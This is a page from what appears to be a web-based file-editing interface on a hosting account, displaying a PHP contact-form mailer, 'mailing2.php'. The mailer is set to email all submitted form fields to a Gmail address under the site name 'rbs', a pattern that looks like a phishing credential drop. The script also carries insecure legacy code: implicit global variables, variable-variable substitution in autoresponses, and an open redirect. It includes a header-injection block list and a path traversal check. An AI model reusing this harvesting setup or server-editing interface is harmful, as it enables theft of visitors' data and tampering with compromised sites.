<h2>Editing File: /home/nudhamca/public_html/mailing2.php</h2><form method='post'><textarea name='content' class='file-edit'>&lt;?php

/*

	FormContact 1.0 Plus
	By WarkenSoft Productions
	Copyright 2006

	Optional Variables used by the script
		$destination_email
		$followup_url
		$required
		$subject

	Variables Required for Autoresponder
		$autoresponse_file
		$email

*/

################################## BEGIN EDITING HERE ##################################
# You will want to configure the following variables to suit your needs

	# This variable will be used if the destination_email variable is not set on the form.
	$default_destination_email = &quot;nudham3@gmail.com&quot;;

	# The name of your website
	$site_name = &quot;rbs&quot;;

	# The default followup URL in case one isn't supplied on the form.
	$default_followup_url = &quot;sentindex.html&quot;;

	# The value of this variable will be displayed if the followup_url is not specified.
	$default_response = &quot;Thank you for contacting us.&lt;br&gt;We will respond to your email as soon as possible&quot;;

################ YOU SHOULDN'T NEED TO EDIT ANYTHING BEYOND THIS POINT ################
$HTTP_POST_VARS = $_POST;

function error($code = &quot;No Error Specified&quot;, $display = false, $terminate = false)
{
	global $default_destination_email;
	mail(&quot;$default_destination_email&quot;,&quot;FORM_CONTACT Script Error&quot;,&quot;Warning!
The FORM_CONTACT script on your site generated the following error:
$code&quot;,&quot;From: $default_destination_email&quot;);
	
	if($display) echo $code;
	
	if($terminate) exit;
}


if($HTTP_POST_VARS)
{
if(!$destination_email)
{
	$destination_email = $default_destination_email;
}
if($destination_email == &quot;your@emailaddress.here&quot;)
{
	error(&quot;Script Error:  This form processing script has not yet been correctly set up.&lt;br&gt;Please contact the webmaster.&quot;, true, true);
}
	
$arrexclude = array(&quot;Submit&quot;, &quot;destination_email&quot;, &quot;required&quot;, &quot;followup_url&quot;);
if($required){
	$a_required = explode(&quot; &quot;,$required);
	for ($n = 0; $n &lt; count($a_required); $n++)
	{
		if(!$HTTP_POST_VARS[$a_required[$n]])
		{
			echo &quot;You must enter a value for: $a_required[$n]&quot;;
			exit;
		}
	}
}

$msg = &quot;&quot;;
while (list($key, $value) = each($HTTP_POST_VARS)) {
	$exclude = false;
	for ($n = 0; $n &lt;= count($arrexclude); $n++) {
		if ($key == $arrexclude[$n]) {
			$exclude = true;
		}
	}
	
	if ($exclude == false) {
		$key = strtoupper($key);
		$msg .= &quot;\n\n&quot;.$key.&quot;: \n&quot;;
		if (is_array($value)) {
			for ($n =0; $n &lt; count($value); ++$n) {
				$msg .= $value[$n].&quot;\n   &quot;;
			}
		} else {
			$msg .= $value;
		}
	}
}

$msg = trim(stripslashes($msg));

$badStrings = array(&quot;Content-Type:&quot;,
                     &quot;MIME-Version:&quot;,
                     &quot;Content-Transfer-Encoding:&quot;,
                     &quot;bcc:&quot;,
                     &quot;cc:&quot;);
                     
foreach($badStrings as $v2){
    if(strpos(strtolower($destination_email), strtolower($v2)) !== false){
        error(&quot;Website Form Hack Attempt on Destination Email: '$destination_email'&quot;);
        header(&quot;HTTP/1.0 403 Forbidden&quot;);
            exit;
    }
    if(strpos(strtolower($subject), strtolower($v2)) !== false){
        error(&quot;Website Form Hack Attempt on Subject: '$subject'&quot;);
        header(&quot;HTTP/1.0 403 Forbidden&quot;);
            exit;
    }
    if(strpos(strtolower($email), strtolower($v2)) !== false){
        error(&quot;Website Form Hack Attempt on Email: '$email'&quot;);
        header(&quot;HTTP/1.0 403 Forbidden&quot;);
            exit;
    }
    if(strpos(strtolower($response_email), strtolower($v2)) !== false){
        error(&quot;Website Form Hack Attempt on Response_email: '$response_email'&quot;);
        header(&quot;HTTP/1.0 403 Forbidden&quot;);
            exit;
    }
    if(strpos(strtolower($response_name), strtolower($v2)) !== false){
        error(&quot;Website Form Hack Attempt on Response_name: '$response_name'&quot;);
        header(&quot;HTTP/1.0 403 Forbidden&quot;);
            exit;
    }
}

$destination_email = eregi_replace(&quot;[\r|\n]*&quot;, &quot;&quot;, $destination_email);
$email = eregi_replace(&quot;[\r|\n]*&quot;, &quot;&quot;, $email);
$subject = eregi_replace(&quot;[\r|\n]*&quot;, &quot;&quot;, $subject);
$response_email = eregi_replace(&quot;[\r|\n]*&quot;, &quot;&quot;, $response_email);
$response_name = eregi_replace(&quot;[\r|\n]*&quot;, &quot;&quot;, $response_name);


mail(&quot;$destination_email&quot;,&quot;Website Feedback Form: $subject&quot;,&quot;$msg\n&quot;,&quot;FROM: $destination_email&quot;);

if($autoresponse_file &amp;&amp; $email)
{
	if(strpos(&quot; $autoresponse_file&quot;, &quot;..&quot;)) error(&quot;AutoResponse File Hack Detected.  Attempted to download: '$autoresponse_file'&quot;, false, true);
	
	
	if(@$file = implode(file(&quot;autoresponse/$autoresponse_file&quot;), &quot;&quot;))
	{
		$fp = 0;
		while(strpos(&quot; $file&quot;, &quot;{~&quot;, $fp))
		{
			$fp = strpos($file, &quot;{~&quot;, $fp);
			$ep = strpos($file, &quot;~}&quot;, $fp)+2;
			$temp = substr($file, $fp, $ep-$fp);
			$temp2 = substr($temp, 2, strlen($temp)-4);

			if(strpos(&quot;-$temp&quot;, &quot; &quot;))
			{
				error(&quot;You may not have spaces in variable names in the autoresponse files.
The file containing the error is: $autoresponse_file&quot;);
				break;
			}

			if(strpos(&quot;-$temp&quot;, &quot;\n&quot;))
			{
				error(&quot;You may not have newline characters in the autoresponse files.
The file containing the error is: $autoresponse_file&quot;);
				break;
			}

			$file = str_replace($temp, $$temp2, $file);
		}
		mail(&quot;$email&quot;,&quot;$site_name: Automated Response&quot;,&quot;$file&quot;,&quot;From: $destination_email&quot;);
	}
	else
	{
		error(&quot;The following form asked for a non-existent autoresponse to be sent:\n$HTTP_REFERER\n\nThe autoresponse file that it asked for was:\n$autoresponse_file&quot;);
	}
}

if(!$followup_url) $followup_url = $default_followup_url;
if($followup_url != &quot;http://www.your site name.com/thanks.html&quot;)
	header(&quot;Location: $followup_url&quot;);
else
	echo &quot;$default_response&quot;;

}
?&gt;
</textarea><br><input class='btn' type='submit' value='Save Changes'></form><a class='btn' href='?dir=%2Fhome%2Fnudhamca%2Fpublic_html'>Back to Directory</a>